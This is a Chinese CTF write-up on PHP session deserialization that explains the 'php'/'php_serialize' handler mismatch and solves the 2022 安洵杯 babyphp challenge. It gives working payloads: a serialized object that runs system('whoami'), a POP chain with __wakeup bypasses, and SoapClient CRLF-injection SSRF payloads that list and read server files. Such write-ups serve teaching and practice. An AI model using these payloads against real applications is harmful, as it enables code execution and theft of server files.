写在前面

为了彻底搞懂session反序列化这个东西,今天花了一个下午已经晚上一些时间去理解以及调试,若有写的不好的地方希望师傅私信我QWQ~

以PHP为例,理解session的原理

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
    • 如果Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组
  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中
  5. 生成的session文件是以sess_PHPSESSID进行命名的(这里的PHPSESSID换成你所命名的ID)

session_serialize_handler

这里通过代码测试php和php_serialize

php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
//本人默认的为php
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

那么我们现在来本地看看生成的sess_test到底长什么样子

正如上面所说的:键名+竖线+serialize处理后的值

php_serialize

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

可以明显的看出是直接把name=Jackeylove这个当成数组进行序列化

思考:

如果本身是php,但是我通过修改序列化上传的序列化格式为php_serialize,然后服务器在进行反序列化这个session文件的时候是通过php的模式,那不就可以通过session反序列化恶意类?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);

class cmd{
public $shell = "";
public function __construct($shell)
{
$this->shell=$shell;
system($this->shell);
}
public function __destruct(){
phpinfo();
}
}

ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>
1
2
3
4
name=|O%3A3%3A%22cmd%22%3A1%3A%7Bs%3A5%3A%22shell%22%3Bs%3A6%3A%22whoami%22%3B%7D

//这里要在序列化的字符串前面加|
//因为我们传入的是以php_serialize进行序列化的,当我们再次访问时又会以它本身的php进行反序列化,所以加|是为了在它用php进行反序列化时进行分割,对|后面的进行反序列化

当我们通过刚刚的PHPSESSID进行访问时,在session_start()的作用下会先检查是否存在sess_hhhhh->

然后对内容进行反序列化,进而执行了我们的恶意类

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞

2022安洵杯babyphp

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
array(0) { } <?php
//something in flag.php

class A
{
public $a;
public $b;

public function __wakeup()
{
$this->a = "babyhacker";
}

public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}

class B
{
public $a;
public $b;
public $k;

function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}

class C
{
public $a;
public $c;

public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}


if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
}else{
echo "only localhost!!";
}
only localhost!!

分析

我们首先来分析flag.php,很明显是用原生类的SoapClient进行ssrf绕过,然后它就会把flag放在session中

1
new $_GET['a']($_GET['b']);

看到这个第一眼就想到了利用原生类

因为不知道flag的文件名,所以很容易就想到用DirectoryIterator结合glob协议进行读取根目录

然后在通过SplFileObject直接读取文件

那么开始写用SoapClient结合DirectoryIterator进行根目录的遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target='http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///*';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "crypt0n\r\nCookie:PHPSESSID=love",
'uri' => "http://127.0.0.1/"

));
$a = serialize($b);
echo "|".urlencode($a);



//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A57%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DDirectoryIterator%26b%3Dglob%3A%2F%2F%2F%2A%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A30%3A%22crypt0n%0D%0ACookie%3APHPSESSID%3Dlove%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

管他三七二十一,先把我们的ssrf写进去再说

在index.php中我们看到了会把session给dump出来

那么如何触发SoapClient呢?

肯定就是需要用到给的这个A类进行反序列化

那么我们现在来跟一下这条链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class A
{
public $a;
public $b;

public function __wakeup()
{
$this->a = "babyhacker";
}

public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}

class B
{
public $a;
public $b;
public $k;

function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}

class C
{
public $a;
public $c;

public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
1
2
利用链:
B#__destruct -> C#__tostring -> A#__invoke -> C#__uwant

这里我们可以首先先打出phpinfo()看看session的相关配置

这里有两个点要进行绕过

  1. A类中的md5比较 -> 0e215962017

  2. A类中的wakeup绕过(这里是PHP7.4.29)

    • 删除 )
    • 类属性数量不一致
    • 属性键的长度不匹配。
    • 属性值的长度不匹配。
    • 删除 ;

    https://github.com/php/php-src/issues/9618

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php
    class A
    {
    public $a = "0e215962017";
    public $b;
    }

    class B{
    public $a;
    public $b ;
    public $k ;
    }
    class C
    {
    public $a = "phpinfo";
    public $c;
    }

    $a = new B();
    $a->a = new C();
    $a->a->c = new A();
    $a->a->c->b = new C();
    $test = serialize($a);
    echo $test;
    //O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

    //利用上面->类属性数量不一致进行绕过wakeup,把开头的B的3个属性改成了2个
    //O:1:"B":2:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

    成功绕过,这里我们也看到了容器本身就是用的php反序列化处理,也照应了我们写session时用的php_serialize处理器(当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞)

那么现在就开始触发我们的SoapClient吧

这里利用了一个特性:

1
当call_user_func的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。也就是说会调用SoapClient->a’,因为SoapClient没有这个方法就调用_call。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class A
{
public $a = "0e215962017";
public $b;

}

class B{

public $a;
public $b ;
public $k ;

}
class C
{

public $a = "aaa";
public $c;

}

$a = new B();
$a->a = new C();
$a->a->c = new A();
$a->a->c->b = new C();
$test = serialize($a);
unserialize($test);
echo $test;
//O:1:"B":2:{s:1:"a";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
//O:1:"B":2:{s:1:"a";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
?>

到此,我们这条链子基本打通了

只需要把glob:///f* 就能找到flag的名字

然后在通过SplFileObject读取文件即可

1
2
3
4
5
6
7
8
9
10
<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=php://filter/convert.base64-encode/resource=/f1111llllllaagg';
$b = new SoapClient(null,array(
'location' => $target,
'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag1233",
'uri' => "http://127.0.0.1/"

));
$a = serialize($b);
echo "|".urlencode($a);

好了,我分享的差不多了哦

如果你觉得我分享的你能听懂,那么为何不去动手尝试一波?

BUU的第四页的这道题为何不去尝试一下?

后续

  1. 关于高版的wakeup绕过大家可以去试一试

    根据这个所说的https://github.com/php/php-src/issues/9618

  2. 关于官方的wp wakeup的绕过是用的引用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <?php
    class A
    {
    public $a;
    public $b;
    public function __construct()
    {
    $this->a = "0e215962017";
    }
    }
    class B
    {
    public $a;
    public $b;
    public $k;
    public function __construct()
    {
    $this->a = "1";
    $this->b = &$this->a;
    }
    }
    class C
    {
    public $a;
    public $c;
    public function __construct()
    {
    $this->a = "phpinfo";
    }
    }
    $a = new B;
    $a->k = new C();
    $a->k->c = new A();
    $a->k->c->b = new C();

    var_dump($a->b);
    echo PHP_EOL;
    echo serialize($a);

    //phpinfo: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;};}}}
    //payload: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";N;};}}}

    关于引用

很容易看出来,a和b的值是一致的,不管谁变,他们的值都会改变

  1. session相关的还有session.upload_progress这类的题目,其实还比这道题简单些,只需要进行条件竞争

后面还有相关的会补上的啦 咕咕咕~